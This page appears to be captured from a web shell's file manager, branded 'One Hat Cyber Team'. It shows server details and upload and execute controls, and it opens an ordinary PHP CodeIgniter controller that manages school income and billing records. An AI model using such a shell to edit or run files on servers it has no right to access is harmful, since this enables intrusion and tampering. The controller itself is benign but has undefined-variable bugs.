⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
miu
/
modules
/
Pemasukan
/
Controllers
/
Edit File: Pemasukan.php
<?php namespace Modules\Pemasukan\Controllers; use App\Controllers\BaseController; use Ramsey\Uuid\Uuid; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx; class Pemasukan extends BaseController { public function index(){ $data['title'] = 'Pemasukan'; $data['li_1'] = 'Daftar Pemasukan'; $data['body'] = 'Modules\Pemasukan\Views\list'; $db = $this->db->table('pemasukan'); if(session()->has('id_sp') && session('id_sp') != '0'){ $db->where(['pemasukan.id_sp' => session('id_sp')]); } $data['data'] = $db->get()->getResult();; return view('template', $data); } public function add(){ $p = $this->request->getPost(); $rules = [ 'nama' => [ 'label' => 'Nama Pemasukan', 'rules' => 'required|max_length[30]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'sumber' => [ 'label' => 'Sumber Pemasukan', 'rules' => 'required|max_length[10]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'max_length' => '{field} maksimal {param} karakter.', ], ], ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('pemasukan')); } $input = TRUE; $id = Uuid::uuid4()->toString(); $insert = [ 'id' => $id, 'id_sp' => $p['lembaga'], 'nama' => $p['nama'], 'sumber' => $p['sumber'], 'tagihan' => $p['tagihan'], 'frekuensi' => $p['frekuensi'], ]; if($input){ $this->db->table('pemasukan')->insert($insert); } session()->setFlashData(success('Berhasil menambah Data ')); return redirect('pemasukan'); } public function edit(){ $p = $this->request->getPost(); $rules = [ 'nama' => [ 'label' => 'Nama Pemasukan', 'rules' => 'required|max_length[30]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'sumber' => [ 'label' => 'Sumber Pemasukan', 'rules' => 'required|max_length[10]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'max_length' => '{field} maksimal {param} karakter.', ], ], ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('pemasukan')); } $update = [ 'nama' => $p['nama'], 'sumber' => $p['sumber'], 'tagihan' => $p['tagihan'], 'frekuensi' => $p['frekuensi'], ]; if($this->db->table('pemasukan')->where('id', $p['data_id'])->update($update)){ session()->setFlashData(success('Berhasil Menyimpan Data')); return redirect()->to(base_url('pemasukan')); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->to(base_url('pemasukan')); } } public function delete($id = null){ if($this->db->table('pemasukan')->where('id', $id)->delete()){ session()->setFlashData(success('Berhasil Mengapus Data')); return redirect()->to(base_url('pemasukan')); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->to(base_url('pemasukan')); } } public function get($id = null){ $d = $this->db->table('pemasukan')->where('id', $id)->get()->getRow(); return json_encode($d); } public function detail($id = null){ $p = $this->db->table('pemasukan')->where(["id" => $id])->get()->getRow(); if(!isset($p->id)){ session()->setFlashData(gagal("ID Pemasukan Tidak ditemukan")); return redirect()->to(base_url('pemasukan')); } $data['title'] = $p->nama; $data['li_1'] = 'Daftar Tagihan'; $data['body'] = 'Modules\Pemasukan\Views\detail'; $data['id'] = $id; $data['pemasukan'] = $p; return view('template', $data); } public function rekap(){ $p = $this->request->getPost(); $data['masuk'] = []; $data['keluar'] = []; $db = $this->db->table('tagihan') ->select('tagihan.*, pd.nama as nm_pd') ->join('pd', 'tagihan.id_pd = pd.id', 'inner'); $db->where(['id_pemasukan' => $p['id_p'], 'bulan' => $p['bulan'], 'tahun' => $p['tahun']]); if($p['bulan'] != ''){ $rt = $db->get()->getResult(); }else{ $rt = []; } $no =1; //$tr = $this->db->query("SELECT * FROM transaksi WHERE id_pemasukan='".$p['id_p']."'")->getResult(); $tr = $this->db->table('transaksi') ->select('transaksi.*, pemasukan.nama as nm_p, frekuensi, sumber, tagihan') ->join('pemasukan', 'transaksi.id_pemasukan = pemasukan.id', 'inner') ->where(['id_pemasukan' => $p['id_p']])->get()->getResult(); $hitung['tt'][] = []; $hitung['jb'][] = []; $hitung['sisa'][] = []; $hitung['tp'][] = []; foreach ($tr as $k) { $bulan_db = date('n', strtotime($k->tgl)); $tahun_db = date('Y', strtotime($k->tgl)); $bayar[$k->id_pd][$k->id_tagihan][] = $k->jumlah; //$b = ['', 'Pertahun', '1x', 'Perbulan', 'Persemester']; if($k->frekuensi == '3'){ //ini pengeluaran perbulan if($k->jenis == '0' && $p['bulan'] == $bulan_db && $tahun_db == $p['tahun']){ $data['keluar'][] =[ "tgl" => date('d F Y', strtotime($k->tgl)), "nama" => $k->nama, "jumlah" => number_format($k->jumlah), "aksi" => '<a onclick="edit_tagihan(`'.$k->id.'`, `transaksi`)" class="btn btn-warning btn-sm">Edit</a> <a onclick="hapus(`'.base_url('pemasukan/delete_transaksi/').$k->id.'`, `transaksi`)" class="btn btn-danger btn-sm">Hapus</a>', ]; $hitung['tp'][] = $k->jumlah; } }else{ if($k->jenis == '0' && $tahun_db == $p['tahun']){ $data['keluar'][] =[ "tgl" => date('d F Y', strtotime($k->tgl)), "nama" => $k->nama, "jumlah" => number_format($k->jumlah), "aksi" => '<a onclick="edit_tagihan(`'.$k->id.'`, `transaksi`)" class="btn btn-warning btn-sm">Edit</a> <a onclick="hapus(`'.base_url('pemasukan/delete_transaksi/').$k->id.'`, `transaksi`)" class="btn btn-danger btn-sm">Hapus</a>', ]; $hitung['tp'][] = $k->jumlah; } } } $no =1; foreach ($rt as $k) { if(isset($bayar[$k->id_pd][$k->id])){ $jb = array_sum($bayar[$k->id_pd][$k->id]); }else{ $jb = 0; } $sisa = $k->jumlah - $jb; $hitung['tt'][] = $k->jumlah; $hitung['jb'][] = $jb; $hitung['sisa'][] = $sisa; $data['masuk'][] =[ "no" => $no++, "nama" => $k->nm_pd, "jumlah_tagihan" => number_format($k->jumlah), "jumlah_pembayaran" => number_format($jb), "kekurangan_pembayaran" => number_format($sisa), "aksi" => '<a onclick="edit_tagihan(`'.$k->id.'`, `tagihan`)" class="btn btn-warning btn-sm">Edit</a>', ]; } $data['tt'] = number_format(array_sum($hitung['tt'])); $data['jb'] = number_format(array_sum($hitung['jb'])); $data['sisa'] = number_format(array_sum($hitung['sisa'])); $data['tp'] = number_format(array_sum($hitung['tp'])); $data['saldo'] = number_format(array_sum($hitung['jb']) - array_sum($hitung['tp'])); $response = [ 'draw' => 1, 'recordsTotal' => count($rt), 'recordsFiltered' => count($rt), 'data' => $data, 'csrf_token_hash' => csrf_hash(), ]; return $this->response->setJSON($response); } public function verifikasi(){ $db = $this->db->table('sp'); if(session()->has('id_sp') && session('id_sp') != '0'){ $db->where(['id' => session('id_sp')]); } $data['sp'] = $db->get()->getResult(); // Validasi file yang diunggah $validationRule = [ 'upload' => [ 'label' => 'File Upload', 'rules' => 'uploaded[upload]|ext_in[upload,xls,xlsx]', 'errors' => [ 'uploaded' => 'Harus ada file yang diupload.', 'ext_in' => 'File harus berekstensi XLS atau XLSX.' ], ], ]; if (! $this->validate($validationRule)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('pemasukan/detail/'.$p['data_id'])); } // Ambil file yang diunggah $file = $this->request->getFile('upload'); // Pastikan file berhasil diunggah dan tidak ada error if ($file->isValid() && ! $file->hasMoved()) { // Pindahkan file sementara ke lokasi yang bisa diakses oleh PhpSpreadsheet // Disarankan untuk memindahkan ke direktori writable, contoh: writable/uploads $newName = $file->getRandomName(); // Buat nama unik untuk file $file->move(WRITEPATH . 'uploads', $newName); // Pindahkan file $filePath = WRITEPATH . 'uploads/' . $newName; try { // Muat file spreadsheet menggunakan IOFactory $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($filePath); // Ambil sheet aktif $sheet = $spreadsheet->getActiveSheet(); // Konversi data sheet menjadi array // toArray() akan mengembalikan semua sel di sheet sebagai array 2D $dt = $sheet->toArray(); // Hapus file sementara setelah dibaca unlink($filePath); $data['title'] = 'Verifikasi Data'; $data['li_1'] = 'Verifikasi Data'; $data['body'] = 'Modules\Pemasukan\Views\verifikasi'; $data['id_pemasukan'] = $this->request->getPost('data_id'); $pemasukan = $this->db->table('pemasukan')->where(["id" => $this->request->getPost('data_id')])->get()->getRow(); //$b = ['', 'Pertahun', '1x', 'Perbulan', 'Persemester']; if($pemasukan->frekuensi == '3'){ $data['form'] = 'Modules\Pemasukan\Views\form-bulanan'; }elseif($pemasukan->frekuensi == '4'){ $data['form'] = 'Modules\Pemasukan\Views\form-smt'; }elseif($pemasukan->frekuensi == '1'){ $data['form'] = 'Modules\Pemasukan\Views\form-tahunan'; }elseif($pemasukan->frekuensi == '2'){ $data['form'] = 'Modules\Pemasukan\Views\form-tahunan'; } //echo $pemasukan->frekuensi; $data['data'] = $dt; for($i=2; $i<count($dt); $i++){ $niss[] = $dt[$i][1]; } $cek = $this->db->table('pd')->whereIn('nis',$niss)->get()->getResult(); foreach ($cek as $k) { $data['cek_id'][$k->nis] = $k->id; } //$data['cek_id'] = array_flip(array_column($cek, 'nis')); return view('template', $data); } catch (\PhpOffice\PhpSpreadsheet\Reader\Exception $e) { // Tangani error jika terjadi masalah saat membaca file session()->setFlashData(gagal($e->getMessage())); return redirect()->to(base_url('pemasukan/detail'.$p['data_id'])); } } else { // Tangani jika ada masalah dengan proses upload session()->setFlashData(gagal($file->getErrorString())); return redirect()->to(base_url('pemasukan/detail'.$p['data_id'])); } } public function add_tagihan(){ $p = $this->request->getPost(); $db = $this->db->table('tagihan'); $existingRecords = $db->where('id_pemasukan', $p['id_pemasukan'])->get()->getResultArray(); $existingTagihanMap = []; foreach ($existingRecords as $record) { $existingTagihanMap[$record['id_pemasukan']][$record['bulan']][$record['tahun']] = true; } $data = []; $existingCount = 0; $inserData = 0; $input = FALSE; for($i=0; $i<count($p['id_pd']); $i++){ if (isset($existingTagihanMap[$p['id_pemasukan']][$p['bulan'][$i]][$p['tahun'][$i]])) { $update = [ "jumlah" => $p['jumlah'][$i], ]; $act_update = $db->where(['id_pemasukan' => $p['id_pemasukan'], 'bulan' => $p['bulan'][$i], 'tahun' => $p['tahun'][$i],] )->update($update); $existingCount++; } else { $id = Uuid::uuid4()->toString(); $data[] = [ "id" => $id, "id_pd" => $p['id_pd'][$i], "id_sp" => $p['id_sp'], "id_pemasukan" => $p['id_pemasukan'], "jumlah" => $p['jumlah'][$i], "bulan" => $p['bulan'][$i], "tahun" => $p['tahun'][$i], ]; $inserData++; $input = TRUE; } } if($input){ $db->insertBatch($data); } session()->setFlashData(success('Berhasil Menambah '.$inserData.' Data dan Mengupdate '.$existingCount.' Data')); return redirect()->to(base_url('pemasukan/detail/'.$p['id_pemasukan'])); /* if($input && ){ session()->setFlashData(success('Berhasil Menambah Data')); return redirect()->to(base_url('pemasukan/detail/'.$p['id_pemasukan'])); }else{ session()->setFlashData(gagal($file->getErrorString())); return redirect()->to(base_url('pemasukan/detail/'.$p['id_pemasukan'])); }*/ } public function edit_tagihan(){ $p = $this->request->getPost(); $rules = [ 'jumlah' => [ 'label' => 'Jumlah', 'rules' => 'required|max_length[30]|numeric', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'max_length' => '{field} maksimal {param} karakter.', 'numeric' => '{field} Hanya berisi angka.', ], ], ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('pemasukan/detail/'.$p['id_pemasukan'])); } $data = ["jumlah" => $p['jumlah']]; if($this->db->table('tagihan')->where(['id' => $p['data_id']])->update($data)){ session()->setFlashData(success('Berhasil Merubah Data')); return redirect()->to(base_url('pemasukan/detail/'.$p['id_pemasukan'])); }else{ session()->setFlashData(gagal($file->getErrorString())); return redirect()->to(base_url('pemasukan/detail/'.$p['id_pemasukan'])); } } public function edit_transaksi(){ $p = $this->request->getPost(); $rules = [ 'jumlah' => [ 'label' => 'Jumlah', 'rules' => 'required|max_length[30]|numeric', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'max_length' => '{field} maksimal {param} karakter.', 'numeric' => '{field} Hanya berisi angka.', ], ], 'nama' => [ 'label' => 'nama', 'rules' => 'required|max_length[30]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'tgl' => [ 'label' => 'tgl', 'rules' => 'required|valid_date[Y-m-d H:i:s]', 'errors' => [ 'required' => 'Tanggal wajib diisi.', 'valid_date' => 'Format tanggal tidak valid. Mohon gunakan format YYYY-MM-DD HH:MM:SS.' ] ], ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('pemasukan/detail/'.$p['id_pemasukan'])); } $data = [ "jumlah" => $p['jumlah'], "nama" => $p['nama'], "tgl" => $p['tgl'] ]; if($this->db->table('transaksi')->where(['id' => $p['data_id']])->update($data)){ session()->setFlashData(success('Berhasil Merubah Data')); return redirect()->to(base_url('pemasukan/detail/'.$p['id_pemasukan'])); }else{ session()->setFlashData(gagal('Gagal Merubah Data')); return redirect()->to(base_url('pemasukan/detail/'.$p['id_pemasukan'])); } } public function get_transaksi($id = null){ $d = $this->db->table('transaksi')->where(['id' => $id])->get()->getRow(); return json_encode($d); } public function delete_transaksi($id = null){ if($this->db->table('transaksi')->where(['id' => $id])->delete()){ session()->setFlashData(success('Berhasil Menghapus Data')); return redirect()->to(base_url('pemasukan')); }else{ session()->setFlashData(gagal('Gagal Menghapus Data')); return redirect()->to(base_url('pemasukan')); } } }
Simpan